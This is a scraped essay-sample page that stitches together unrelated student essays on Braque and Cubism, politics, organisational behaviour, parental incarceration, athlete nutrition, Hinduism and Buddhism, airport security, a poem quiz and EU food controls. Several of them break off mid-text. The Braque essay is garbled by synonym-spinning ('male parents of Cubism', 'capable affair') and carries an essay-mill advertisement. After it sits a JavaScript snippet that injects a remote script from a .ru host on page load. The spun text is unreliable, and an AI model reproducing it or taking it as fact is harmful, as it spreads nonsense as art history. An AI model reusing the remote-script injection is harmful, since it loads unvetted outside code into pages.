Braque Essay Research Paper free essay sample

Braque Essay, Research Paper # 65279 ; Georges Braque was one of the male parents of Cubism. Along with Picasso he explored and invented a new manner of painting that got its name from critics who pointed out little regular hexahedrons in his earliest cubist plants. At the terminal of 1907, Braque met Picasso at the unveiling of The Ladies of Avignon. This piece and a bare by Braque of late 1907 would go known as the first cubist pictures. Both creative persons were inspired by Cezanne s usage of geometry in stand foring the capable affair in his picture. These plants being some of the first to reject the classical thoughts of painting by portraying existent capable affair abstractly instead so realistically, it was merely natural for the two creative persons to join forces on future plants. The two began to discourse thoughts and show one another their current plants. Finally this coaction became a like a partnership where their thoughts were freely traded and built upon by one another. We will write a custom essay sample on Braque Essay Research Paper or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page At the extremum of Analytic Cubism, pictures by Braque and Picasso had great similarities and the brace frequently painted the same capable affair at the same clip. They worked so close Braque one time said that they were similar mountain climbers, roped together and drawing one another up. In 1908 Braque parted from his old Fauvist manner and began to paint in really limited pallets of subdued leafy vegetables, browns, and ochres. His work became really structured and more abstract. His concern was with infinite, multiplicity, signifier, and clip instead so with colour. The thought was to demo the topic from multiple angles. Picasso s work followed this form every bit good. Braque, nevertheless, turned to still lives while Picasso did most of his work with human signifiers. The differences between the two can be seen in plants from the same clip frame. Picasso s Vollard and Braque s Violin with Pitcher are both from 1910. Picasso s work pushes the foreground back and pulls the background frontward blending the two in order to make infinite. Braque s work makes usage of these same principals to depict the infinite and the capable affair, conveying them to the same plane. But while Picasso s consequence is a picture where the capable affair is still prevailing, Braque creates a balance between the accent of the capable affair and the infinite around it. Braque creates infinite that moves within itself and the capable affair coercing it to become portion of the capable affair. While Picasso succeeds in losing the definition between the two, he does non win in doing infinite go primary in the picture. This farther describes the difference in what the two creative persons felt Cubism was chiefly about. Picasso was known to hold one time said Cubism is an art covering chiefly with signifiers, while Braque stated What particularly attracted me # 8211 ; and what was the preoccupation of cubism # 8211 ; was the materialisation of that new infinite which I sensed. Although their coaction ended when Braque went into World War I and spanned merely seven old ages, the benefits of working so closely with one another is easy seen through the celerity with which Braque and Picasso developed their thoughts and their Cubist works evolved. High Analytic Cubism ( 1910 ) , what is regarded as Cubism s most hard point, is when the brace worked most closely together. It is during this clip that their most abstract plants were done. The drama of infinite and signifier traveling into one another, the opening up of antecedently closed signifiers, and the creative activity of irregular planes succeeded in turning Cubist works into an object of their ain, no longer a representation of something. In 1911 Braque introduced lettering to Cubism. This would be the starting / gt ; point for what would go known as Man-made Cubism. On this Braque said as portion of a desire to come near to a certain kind of world, in 1911 I introduced letters into my pictures. This move was the first measure towards the montage work of both Braque and Picasso which brought the abstract into world. Man-made Cubism brought on the usage of colour, and stuffs antecedently fresh by Braque or Picasso in their Cubist plants. They began to utilize stuffs such as wood printed vinyl, newspaper, and shreds. Shapes became larger and more recognizable. The usage of these stuffs was to foster the thought of making a integrity between world and abstract cubism, every bit good as in some instances to demo that some things which are perceived as world are really non, such as vinyl made to look like wood panel, while the pigment in the abstract cubist work is merely that and hence existent. It was during the geographic expedition of montage in Cubism that non merely words that appeared in newspapers were cut out, but even larger advertizements. In Braque s Glass and Bottle from 1913, a big cutout of an about complete cloakmakers ad is glued to the canvas. This type of ad, one that is for objects of desire for the general populace, could be seen as a farther range into the thought of conveying together world and the new Cubist world. Objects already easy recognizable by the mean adult male were being used, the usage of ads such as these could hold been used in order to non merely blend the two worlds, but to coerce those of the populace into the Cubist world. Ads, which were really popular in Paris and around the universe at the clip, were something that used to catch the involvement of the populace. An ad in the picture could be used to the same consequence and draw the spectator into it. Braque s painting Candlestick and Playing Cards ( 1910 ) is an illustration of Analytic Cubism at its extremum. The usage of an egg-shaped canvas, as is found in High Analytic Cubism, was intended to take the job of the corners of Cubist picture. The internalized construction and geometry used in conveying the capable affair and infinite environing it becomes weaker as it moves towards the corners, so an egg-shaped lodger leaves the picture stronger. In add-on to this the curving border creates a strong contrast with the harder angles, form, and lines within, which makes a dynamic energy inside the lodger. The tabular array is seen through the protrusion angle at the underside. Further back the base of the candle holder is seen on top of the tabular array. Further up, above centre is the candlestick itself. To the right are two playing cards, the one of Black Marias, and the six of diamonds. The signifier of the candle holder is lost, so found once more before being lost one time once more. This is a direct illustration of how signifier, infinite, and differing position are used in Cubism to make an abstract world, independent of clip. The colourss Braque utilizations are greies, opaque and translucent inkinesss, and browns. These are used to make a integrity between the topic and infinite through a deficiency of definition. They besides provide irregular shadow and borders to make signifiers and planes that overlap and travel into one another. These planes and signifiers change from one into the other and travel from background to highlight and frailty versa doing a two dimensional image from what, when looked at separately is made up of three dimensional signifiers and planes. Cogniat, Raymond, Braque, Crown Publishers, 1978 Gallatin, A. E. , Georges Braque: Essay and Bibliography, Wittenborn and Co. 1943 Golding, John, Cubism, Harvard University Press, 1988 Hilton, Timothy Picasso, Thames and Hudson, 1975 Fry, Edward, Cubism, Oxford University Press 1980 ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

My Political Views essays

My Political Views essays I consider myself to be a moderate to strong republican. It took me a long time to realize what degree I was. Most people know what party they are but few know how strong their beliefs are. After looking at the republican platform and comparing my views on the issues, which are: gun control, immigration, national language, capital punishment, and welfare reform; I found out that I am a much stronger republican than I earlier thought. The republican platform believes in welfare reform that eliminates waste, fraud, and abuse; require work from those who are able to work; limit the time allowed on public assistance; and reduce the burden on the taxpayer. They also believe that all Americans have the God given right to be safe in their homes, on their streets, and in their communities. They believe in tougher law enforcement, with stiffer penalties, eliminating the loopholes in our justice system today, and finding judges who respect the law and its law-abiding people. They also believe that our government is too large to be tuely effective. They believe that the people know what is best for them. They oppose discrimination and that people believe that people should be judges by ability rather than race, creed, or disability. They believe in a united America through one national language for all federal business. They also believe that in order to protect the environment we need some type of population control so the generations to come will be able to live the American dream. In my point of view gun control is about as strict as it needs to get. Any law-abiding citizen without any criminal record should be able to buy and own any gun. This includes semi or automatic weapons. An argument to this is what do they need an automatic gun for? Let me just compare that to something else like cars. The speed limit now at the most is seventy-five miles per hour. What do people need with cars that go one hundred fifty miles pe...

Studying the Field of Organisational Behaviour Essay

Studying the Field of Organisational Behaviour - Essay Example There is no real, ideal resolution for the organizational evils. The only thing that one can do is to increase one understands of abilities and skills, so that individual relations at work can be improved. â€Å"Organizational Behavior (OB) is the study and application of knowledge about how people, individuals, and groups act in organizations. It does this by taking a system approach. That is, it interprets people-organization relationships in terms of the whole person, whole group, whole organization, and whole social system† (Leadership and Organizational Behavior 2011). Organizational Behavior is the field of study that searches the after effect that persons, teams, and formation have on behavior within the company (organization). Organizational behavior deals with the study, and implication of awareness about how individuals act and react within organizations. Organizational behavior is a tool for the employee to work for the benefit of the organization. It is applicable largely to the manners of individuals working in all kinds of organizations including government, business, educational institutions, services, and companies. Organizational behavior is applied to cover three determinants of activities in organizations: individuals, teams and structure. The applied field of OB is concerned with the information gained about persons, and the impacts of structure on behavior so that to make organizations work more successfully. It is better to understand the organization first to study organizational behavior more clearly. Organization is a focused system with some subsystems where persons and actions are organized to attain some particular, predetermined goals and objectives through division of labor, effective utilization of resources, and the coordination of activities. Division of labor means how the works are divided among the staff that is, keeping the right person for the right job. Coordination of work becomes more important, as it can lead to accomplishing the goals of the organization, by integrating the activities of each and every employee in the organization. The word ‘organizing’ is used to denote the aspect of administrative activities needed for an entrepreneur in preparing and setting up the diverse tasks to fulfill or complete the job. The managers in an organization may have to face many challenges and opportunities to use organizational behavior theories to improve the general effectiveness of persons, teams and organization. Based on behavioral science and some additional interdisciplinary matters, the managers can address the following issues with in an organization. Improving People Skills Improving Quality and Productivity Managing Workforce Diversity Empowering People Stimulating Innovation and Change Improving Ethical Behavior It is clear that Studying the field of Organizational Behavior can assist in deepening our understanding of why people in an organizational setting behave in the ways that they do. â€Å"The ability to explain people’s behavior is critical to making recommendations for improvement if we make poor explanations, and poor recommendations. In an organizational setting, this can lead to a continuation of poor performance. In contrast, if we make strong and accurate observations, we can make strong recommendations that have a demonstrable impact on people and the business† (Why People Do What They Do n.d.). It can be said that

Consequences of high incarceration rate Term Paper

Consequences of high incarceration rate - Term Paper Example Research addressing the impact of parental incarceration on children has identified developmental, emotional, psychological, social, educational, and behavioral consequences for these children (Trice & Brewster, 2004). There is some consensus in the literature identifying some of the serious, detrimental consequences for children of all ages who experience parental incarceration. These issues must be identified and addressed as children of incarcerated parents are viewed as a unique, group with special service needs. Number of Incarcerated Parents The Bureau of Justice Statistics in an August 2000 special report identified a total of 1,284,894 prisoners of which, 721,500 were parents. Within this group of incarcerated parents, 46% resided with at least one minor child at the time of incarceration (Mumola, 2001). Of this group of parents incarcerated, 32% reported having more than one child less than 18 years of age (Mumola, 2001) and 37% reported living with their children in the mon th previous to their arrest (Mumola, 2001). In the same year, 2.1 percent of the 72 million minors in the United States in 1999 had a parent in prison, which represents almost 1.5 million children (Harrison & Beck, 2006). Fathers were less likely to report living with their children prior to incarceration than mother, (47% federal inmates versus 73%). Of fathers imprisoned in 1999, reported the child's mother was their primary caregiver 90% of the time where as only 28% of incarcerated mothers cited their child's father as the primary caretaker (Mumola, 2001). Imprisoned mothers identify grandparents and other family members as the primary caregivers of their children 79% of the time (Mumola, 2001). From 1991 to 1999 the proportion of prison inmates who were also parents increased by more than 250,000. The aforementioned rise in female prisoners has also exacerbated an increase in the number of mothers in prison (106% versus 58% rise in fathers). In 1999, it was estimated that 1.4 m illion children had an incarcerate father and 126,100 with incarcerated mother (Mumola, 2001). Johnston, (1995a) highlights that due to the prevalence of intergenerational crime and the risk for children within these families, it is necessary to address the problem within the context of the family as well as the individual. Impact of Parental Incarceration of Children It is clear that incarceration affects millions of families in the United States. The rise in incarceration rates for both men and women has definite consequences for their children. Whether it is the absence of a father or the incarceration of a mother who is most likely the primary caregiver prior to incarceration, there are considerable consequences for children (Mumola, 2001). Children of prisoners struggle with issues that impact their psychosocial development. The stigmatization of parental incarceration is an important issue addressed in the literature as well as the impact this may have on a child's their self- concept and identity development. The separation of a child from their parent due to incarceration may have differential and devastating effects. Kampfner (1995) outlines how maternal incarceration further stigmatizes children and prevents them from having their needs met. Being witness to a mother's

Fast Food Tips for Athletes Essay Example | Topics and Well Written Essays - 750 words

Fast Food Tips for Athletes - Essay Example Since the fast food concept is based on speed, uniformity and low cost, fast food products lack the required nutritional values (Wikipedia n. pag) required particularly for an athlete. Fast food restaurants provide a quick, cheap and filling meal but these are often items which are high in fat, calories and sugar. They are also low in vitamins, minerals and fiber. Too many fat calories get in the way of eating enough carbohydrates. Carbohydrates are the body's main source of energy. Athletes require more of carbohydrate in their food. If an athlete eats too few carbohydrates, they lose energy for sports performance. It is estimated that about 60% of the calories should come from carbohydrates (bread, rice, pasta, fruits, vegetables, beans). Proteins are essential and are the basis for building muscles and fats/oils help with nerves and hormones, in the body (University of southern Maine n. pag). A proper diet should include all of these. Fat takes longer to digest than carbohydrate, which means that an athlete should cut down on high-fat snacks or meals particularly just before the game. Soft drinks are high in sugar, but do provide energy. Diet drinks have no nutritional value, especially if they contain caffeine which draws fluid out of the body should be avoided. Instead better choices are juices, seltzer, low-fat milk, hot cocoa, or just plain water (The Women's Sports Medicine Center 1999). As it is a well known fact that 70 % of our body is water. As an athlete, it's important to keep the body well-hydrated. It is also important to drink plenty of water to keep the muscles hydrated. Athletes must take care of their dietary requirements and should stay away from carbonated drinks, especially soft drinks. No junk foods such as sugary snacks or chips even if they are baked. And minimize heavy fats and proteins in pre-game meal (velocitys p.com n pag). Staying away from dairy products and too much protein like greasy hamburgers, pizza, ice cream, and cheese is good for athletes. It is good to avoid dishes that are deep fried or battered. Though soda pop and candy bars are quick burst of energy but it will drop quickly, avoiding them is good. Before the game eating high carbohydrate foods like bread, pasta, whole grains, vegetables, and fruits are considered as very good. Carbohydrates are digested quickly and provide glucose to the muscles. Meals that are good sources of carbohydrate such as rice, noodles and pasta are a good place to start. In addition, adding lean sources of protein such as lean meat, fish, chicken, beans or tofu and include plenty of vegetables are good. Sandwiches, cereal bars, fruit, juice, liquid meal supplements and bottled or powdered sports drinks are ideal (Department of Sports Nutrition, AIS). Some of the major nutritional challenges faced by athletes include achieving carbohydrate and protein requirements on a daily bases, meeting daily vitamin and mineral requirements, balancing energy intake, maintaining adequate hydration, and food safety. It is very essential to choose the right food before and after the game to complete the nutritional requirement of the body as well as to provide enough energy for the athlete to perform well in sports. Work cited Department of Sports Nutrition, AIS, Nutrition for Travelling Athletes, Australian Sports Commission (2004) 29 March 2007

Hinduism and Buddhism

Hinduism and Buddhism Concepts of karma and dharma are central to both Hinduism and Buddhism, and each has its own concept of liberation-moksa for Hinduism and nirvana for Buddhism. Yet within both traditions there are many different understandings of these concepts. This essay has three sections. First compare two different Hindu interpretations of moksha. Then compare two different Buddhist understandings of nirvana. Finally, briefly compare and contrast the Hindu approaches with the Buddhist approaches. There are two major influential religions in Asia that are spreading quickly all over the world. They are Hinduism and Buddhism. There is a misconception that surrounds these two words, moksha and nirvana, they are not the same even though the two concepts may appear similar. In the following essay I will distinguish the different understandings and interpretations of these two concepts and then I will compare and contrast the differences and the similarities. The concept of moksha in Hinduism and the concept of nirvana in Buddhism are the central focus of these two religions. Both of these concepts have their different ways of achieving their goal and they have differences. I willwrite two different interpretations of moksha in Hinduism and the approaches of two philosophical schools that emerged to teach the approach of how moksa can be attained. I will do the same for nirvana in Buddhism, going into details of different understanding of this concept and I will conclude with analyz ing the similarities and contrasts of these concepts which are followed in the same street, just are located in opposing sidewalks. Moksa itself in Sanskrit language means release and its meaning is to be liberated from the cycles of sansara, reincarnation, and the pains and the suffering of karma by achieving immortality through eternal truth. Different Hindu philosophies schools emerged in India, each with the interpreting their own understanding of moksha. One of these philosophic schools was Vedanta which was divided in different sub schools with each of their own interpretations of moksha. One of those is Shankars Advaita Vedanta School where they perceive that moksha can be acquired only when the human soul realizes that it is one being with the Brahman. According to them, a person can only achieve moksha when he realizes the truth in himself that his soul is part of Brahman and Brahman is part of his soul, or atman as they name it, and once this dualistic approach has been acknowledged then the person has achieved his true form,he has been enlighten and has broken free from the cycle of reincarnation, sans ara. The only way a person can do this is by self effort. On the other hand, Ramanujas Vishishtadvaita Vedanta School promoted another approach to achieve moksha. They followed another direction which is worshipping the god Vishnu. Their theistic approach taught people that by recognizing the soul, matter, and God, anyone can obtain mokshaby an easier way which connects people on a personal level with the Supreme Being. Nirvana in Buddhism is understood as the end of suffering. There is not a clear definition of nirvana as it can be understood in many different ways but it is the highest spiritual achievement which dissolves pains, anger, greed, desire and all forms that create suffering. In Buddhism three major central schools emerged to teach the way of enlightenment, and those were Vajrayana, Mahayana, and Theravada but I will focus on the last two doctrines. Theravada doctrine emphasises on the understanding of nirvana can be reached when the person realises the true nature of reality and has an awakening of itself. These people are called arahants. This can be achieved through many lifetime spiritual persuasions of enlightenment where the person has broken off from the cycles of rebirth, and has became a Buddha, a bodhi which has the same meaning as nirvana, the enlighten. Mahayana doctrine on the other hand has developed another understanding of nirvana. They believe that Buddha is not just a human figure but a supreme being that we cannot even perceive of its greatness and helps us achieve nirvana. This means that we are still subject to delusion even though nirvana has been attained, instead bodhi has a higher rank in spiritual achievement and once bodhi has been attained, a person can become Buddha. In Hinduism the concept of reincarnation refers to an eternal element that travels from one life to another. This element takes different forms and shapes of different living things among its eternal life. This is the soul, or the atman as it is called in Hinduism. In contrast, Buddhism has the concept of rebirth which is the continuation of the state of mind in a different human being but not its soul since its explanation is that a lot spiritual events had to happen to create the second life form and yet not a different person due to the causality relation. Thus we can see the difference clearly of Nirvana where there is the realization accomplishment of the discontinuance of individuality and Moksha is the fulfillment acquisition of the truth of the affinity of your soul, atman, and Brahman. In both cases, individuality is lost but in different understanding and interpretations. Both religions have a lot of terminology and even names of deities in common, but in every single case, the meaning is actually different both believe in reincarnation/rebirth, but the interpretation is different; both believe in karma, but the interpretation is slightly different; both believe in samsara (the cycle of rebirth and suffering) and liberation from samsara (moksha/nirvana), but the interpretation is widely different, about liberation; both have yoga, tantra, dharma, mantra, and so on, but often mean different things with the words; the significance of gods or deities is grossly different in Hinduism several of them are important objects of veneration, even seen as emanations of the supreme God (Brahman), whereas they are never objects of veneration or prayer in Buddhism, only seen as deluded sentient beings who will finally die and be reborn in a new body like you and me. They strive for an inner peace, and finally to reach heaven through either moksha or nirvana.

Does Airport Security Make Us Safer? Essay -- airport security is utte

On the morning of 22 March 2016, three coordinated nail bombings occurred in Belgium: two at Brussels Airport in Zaventem, and one at Maalbeek metro station in Brussels. In these attacks, 32 victims and three suicide bombers were killed, and over 300 people were injured. Another bomb was found during a search of the airport. Islamic State of Iraq and the Levant (ISIL) claimed responsibility for the attacks.[1] 1. "Another bomb found in Brussels after attacks kill at least 34; Islamic State claims responsibility". The Los Angeles Times. Retrieved 22 March 2016. It has become a regular part of air travel, the common airline passenger expects to have to undergo certain screenings before they ever board an aircraft. The procedure of removing shoes, jackets, belts, laptops, etc. has become a regular occurrence and most people feel a feeling of security because these precautions are taken with every passenger. But are travelers as safe as they feel? Airports are broken into five areas of security, the Public area, Sterile, SIDA (Secure Identification Display Area), Air operations Area, and Secure. The common thoughts about security breaches at an airport are those of someone getting through the sterile area, this area is where individuals are screened prior to getting to the aircraft gates. The reason for this perception stems from the attacks on the morning of September 11th 2001, where nineteen hijackers made it through security screening and on to four aircraft leading into the worst loss of life due to terrorism in the history of the United States. However, this paper will focus on the latter security areas through the security precautions taken to try and prevent unauthorized access as well as notable failur... ...13, from http://www.nec-nis.co.jp/en/product/videosecurity/hbacs/ Oliver, B. (2013, February 20). Investigation: Airport security - Dallas News | myFOXdfw.com. Investigation: Airport security - Dallas News | myFOXdfw.com. Retrieved November 18, 2013, from http://www.myfoxdfw.com/story/21290524/investigation-airport-security Pescador, K., Renga, A., & Gay, P. (2012). N/A. San Diego International Airport, Lindbergh Field (p. 110). s.l.: Arcadia Publishing (SC). Stereovision. (n.d.). The ultimate in anti-piggybacking technology. Stereovision. Retrieved November 20, 2013, from http://www.boonedam.us/securityaccess/stereovision.asp Stoller, G. (2011, July 12). Airport security breaches since 2001 raise alarms. USATODAY.COM. Retrieved November 24, 2013, from http://travel.usatoday.com/flights/story/2011/07/Airport-security-breaches-since-2001-raise-alarms/49326312/1

The Importance of School, Article

1. Give a word that best describes the persona. Curious. 2. Name something that ‘flash about’ in the poem. Lightning(stanza 4) 3. From the poem, we can conclude that the persona wants to know How nature works. 4. How does the persona feel about his father not answering his questions? The persona is confused and puzzled as to why her father refuses to answer her questions. 5. Who do you think the persona in the poem is? Explain why you think so? He must be a little child because he is very inquisitive. He also does not understand many simple things. He is very innocent. . Who is the persona in the poem? A child. 7. Based on the poem, what element of Nature can be felt but can never be seen? Wind. 8. What is the poem about? Wonders of Nature. 9. Which word in the poem shows that the persona has a lot of questions to ask? And. 10. The phrase ‘blow out’ refers to The star. 11. The use of wh-questions shows that The persona wants to know more about the wonders of nature. 12. The persona in the poem is very observant. 13. The phrase’ where can the missing bit be found’ describes The moon. 14. Why is the persona disappointed?His questions are not answered. 15. Give an expression that tells us that the shape of the moon changes from time to Time not quite round. 16. The phrase ‘the lightning flash about’ appeals to the sense of sight. 17. The title ‘I wonder’ reflects the persona’s curiosity. 18. What does the word ‘fluffy’ mean? Feathery. 19. Give one word that describes the persona. Curious. 20. What does the persona find puzzling about the birds? How birds know how to build their nest. 21. In the first stanza, what does the word ‘wonder’ indicate? Curiosity. 22.What does the phrase ‘if he knows’ in the last stanza tell about the persona? Tells us that the persona thinks his father may not know how nature works. 23. Who is the persona in the poem? A young c hild. 24. Explain in your own words, what you understand by the last 2 lines. The child is disappointed that her father does not know how to answer her questions on nature. 25. Which phrase in the extract shows that the persona is inquisitive about nature? ‘I wonder why’. 26. Explain in your own words the phrase ‘the trees to take a rest’ The trees have stopped growing. 27.What is missing according to persona? A part of the moon. 28. From the extract, which element in the sky is colourful? Rainbow. 29. What does the phrase fluffy clouds mean? The clouds are life soft cotton floating in the sky. 30. Which element in the extract is described as cannot be seen but can be felt? Wind. 31. How would you feel if your questions are not answered? I would be disappointed. 32. What would you do to get the answers to the questions? I would surf the internet to get the answers. 33. What is the poem about? It is about the wonders and mysteries of nature. 34.Do you think the boy’s father knows the answer to his questions? No, he doesn’t. 35. Quote a line/ two lines to support your answer ‘Why is it now, do you suppose, that Dad won’t tell me, if he knows? ’ 36. When do we see the rainbow in the sky? After the rain. 37. The ‘fluffy clouds’ indicate that the sky is Bright. Mohana Ram Murugiah Page 1 englishvibes. blogspot. com 38. Birds usually have their habitats in trees. 39. The main theme of the poem is elements in nature can be puzzling. 40. The persona in the poem is most probably a child. Mohana Ram Murugiah Page 2 englishvibes. blogspot. com

HOW USEFUL IS THE TERM CULTURAL REVOLUTION essays

HOW USEFUL IS THE TERM CULTURAL REVOLUTION essays HOW USEFUL IS THE TERM CULTURAL REVOLUTION I propose to define and to argue the question "How useful is the term Cultural Revolution when applied to the Sixties?" My objective is to include examples from history, history of science and religion. Let us first consider Arthur Marwicks decision to periodise the sixties from 1954 to 1975 and Eric Hobsbawms periodisation (within his book Age of Extremes, written in 3 parts) with the sixties contained in the Golden Age. These dates of periodisation are certainly interesting hypothesis. War dominated the culture existing at the beginning of the 20th Century, i.e. the 1914-18 War, followed a few years later by the World War II 1939-45. Europe and Britain suffered massive losses of life. Then came the spread of Communism after the World War II. America became paranoid about the spread of Communism, and because of this entered into a war with Vietnam; with disastrous consequences; they lost hundreds of thousands of young men; and completely failed to stop the spread. The Vietnam war came to an end through people power. Country-wide mass protests were held; people were sickened by the numbers of lives lost, and they questioned the futility and morality of war Then came th e many threats of global annihilation by the so-called super powers (America and Russia). In Britain, children born at the end of the World War II were brought up in a stultifying economic and cultural environment. They were taught not to question; "seen and not heard.". Adherence was given to the churches strict moral teachings; and the class system was still very deeply entrenched in society. Sex was not discussed openly; therefore, many young people were sexually inexperienced and had little or no knowledge of contraception. Young unmarried women who became pregnant outside marriage were ostracised. The working classes at this time wer...

Guide and Tips to Write a Definition Essay

Guide and Tips to Write a Definition Essay A Complete Guide on How to Write a Definition Essay What can be better for a student than writing tons of essays every week? Aren’t you one of those writing addicts? Then you may find the academic process rather boring and difficult. With so many academic assignments. Many students simply fail to complete the course due to a lack of writing skills. However, becoming an advanced writer is easier than it may seem. Our complete essay-writing guide will put an ease on the writing process as well as make your college life simpler. Tips on writing a definition essay Our complete guide includes a systematic instruction on how to write a definition essay. All you need is to follow each step as well as add some creative work to make your paper look outstanding. You will certainly get the A grade effortlessly. Describe your idea Choose a word that will perfectly describe your concept or paper idea. This word is supposed to become a fundamental issue. It will let you broaden the view of the topic itself. â€Å"Love†, â€Å"Hate†, â€Å"Truth† – look for the definition in the dictionary and pick a proper word for your essay. Avoid complicated objects Avoiding complicated objects and specific things is the best way to stay away from writing troubles. Never choose too mundane objects that are hard to define. Avoid too simple words like â€Å"table† or â€Å"chair. They will narrow down the process of creative thinking. Select a term ft. several definitions A good idea is to choose a word featuring multiple definitions and meanings. However, make sure that you do know the word and have a clear understanding of all the available meanings. It will provide more opportunities to write about different aspects of the word. Look the word up in a dictionary The first step is to find the official definition of a chosen word. Look it up in a dictionary. Memorize it and create a structure for the definition to reveal possible writing paths. The idea here is to find out as much about the word origin as you can. Use all available sources ranging from encyclopedias, original dictionaries, online resources, etc. Ask your friends, relatives, and teachers about the word. Summarize the information Get all the facts you know about one place and summarize the info. The main idea at this stage is to create your own vision of the word as well as your own definition. How to build an outline for the definition essay? Building an outline for the definition essay is the same as working out a clear plan. It should contain all vital aspects of the major work arranged in a reader-friendly manner. The main mission here is to establish a comprehensive coherence between each paragraph. The draft should include the following points: Introduction – introduce the main idea of your paper. Let readers know what you are going to speak about; Thesis Statement – make a strong statement describing the word or term you are going to define. Avoid writing too much in a thesis statement. Make it brief but clear; Body Paragraph – body paragraphs come as the major part of your paper. Make sure they are well organized and contain sections that are logically connected; Conclusion – right a short summary of your paper highlighting the core ideas related to the word. You need to make the ending of your paper interesting and impressive. Include some arguments and points to hammer the key ideas of the essay. It will certainly make an impact resulting in A grade for your work.

Current Best Practices That Are Followed When Undertaking Surveys Essay

Current Best Practices That Are Followed When Undertaking Surveys - Essay Example Market surveys identify what appeals to the customers, when customers make purchases, the preferred distribution and promotional outlets of the products. Secondary data is usually available in either electronic or publicized form and includes company reports, newspaper articles and government agencies data. Primary data is collected purposely for solving the marketing problem and involves use of surveys, focus groups, interviews and experiments. Aims The main aim of the research paper is to identify different types of marketing surveys, their advantages and disadvantages in collecting primary data that is useful in market research. The paper also aims at outlining several survey strategies and examples of multiple choice and open-ended questions in surveys. The paper includes the use of rating scales, bar charts, pie charts in data analysis. Methodology The paper has utilized previous literature in order to identify different types of marketing surveys. Surveys are the most common method used by organizations in primary data collection and include mail surveys, telephone surveys, internet surveys, and face-to-face surveys or interviews. The less formal methods of surveys include informal interviews and observation. The selection of survey method will depend on factors such as the budget, the purpose of the study, the characteristics of target population and time availability. Mail surveys reach a large population and surveyor mails the written questions to the sampled population. The mailing list can be prepared from local phone book, yellow pages or past customer contacts. The main disadvantage of mail surveys is that many respondents may not return the completed survey. Telephone surveys entail calling the individuals and responses can be analyzed immediately as the caller will encourage the respondent to provide more details. However, telephone interviews are expensive for small companies. face-to-face surveys entail in-person interviews, but may require a lot of personnel thus are expensive. Internet surveys reach large random population and some web surveys offers tools for data analysis. Observation entails taking note of consumers shopping behavior in order to determine their preferred products. Survey strategies involves having a focus group or pilot surveys that identify if the questions are worded correctly. Conclusion The purpose of the above paper is to offer insight of survey methods and primary data analysis for marketing research. Critique paper Title: conducting market research using primary data Authors: Kyunda R. Curtis, Ph.D. (Department of Resource economics, University of Nevada) Published: The above research paper fails in outlining the best practices that are involved in conducting marketing research. I believe the first step entails defining the problem and objectives of the survey. The researcher must specify the sources of data and information that will be used in the research. The researcher should assess the time and cost involved in carrying out the research through a cost-benefit analysis before committing huge resources towards the study. The knowledge of objectives makes it easier to generate the survey questions and choice the target population (Ferrell & Pride, 2012). The researcher should also select a sample among the target population. The researcher should consider the expected margin of error and costs in selecting the size of the sample (Smith & Albaum, 2005). The researcher s

EU Official Control of Foodstuffs Assignment Example | Topics and Well Written Essays - 2750 words

EU Official Control of Foodstuffs - Assignment Example In this regard, the European community has laid down the regulation on the official foodstuff control system Regulation (EC) No 882/2004 on 2004, in order to ensure the objective of food safety and adopt requisite measures. These regulatory guidelines are implemented in order to overcome the drawbacks associated with the previous legislation to ensure the control in food management approaches and design common national control systems for the European zone (2Europa, 2010; EUE-Lex, 2004). Correspondingly, this study intends to address the topic related to official foodstuff controls system with a special focus on Poland. Poland is one of the rapidly growing economies, wherein it is observed that the foodstuff sector play a critical role to maximise the growth of the nation. In accordance, the report will summarise the aspects related to meat inspections abattoirs, food products, border Inspection, food emergencies and the role of government in it. Poland is one of the fastest developing nations of the EU with a population of around 38 million and a GNI of around $ 13,080 per capita. The nation is termed as one of the largest economies, located in Central Europe (The World Bank Group, 2014). The national strategic plan of Poland has been working with the motive to improve the competitive position of food industry by implementing various preventive methods in its food chain. Due alignment has also been focused by the food management authority in the EU with the already enacted regulations in the food market (International Finance Corporation, 2010). The Republic of Poland is an organisational structure incorporated of a central level, which has 16 regions, 379 districts and 2478 municipalities. The central level of the nation is equipped with the overall responsibility and authority to control animal health and their welfare, agricultural food safety and safety measures through the various channels of food supply in these nations. Both the